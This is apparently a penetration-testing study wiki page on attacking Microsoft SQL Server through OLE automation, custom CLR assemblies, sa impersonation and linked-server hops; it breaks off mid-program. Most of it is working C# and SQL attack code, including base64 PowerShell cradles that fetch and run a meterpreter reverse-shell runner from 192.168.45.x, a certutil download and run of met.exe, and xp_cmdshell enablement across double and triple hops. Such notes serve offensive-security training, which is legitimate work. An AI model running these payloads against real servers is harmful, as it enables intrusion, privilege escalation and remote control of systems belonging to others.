 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
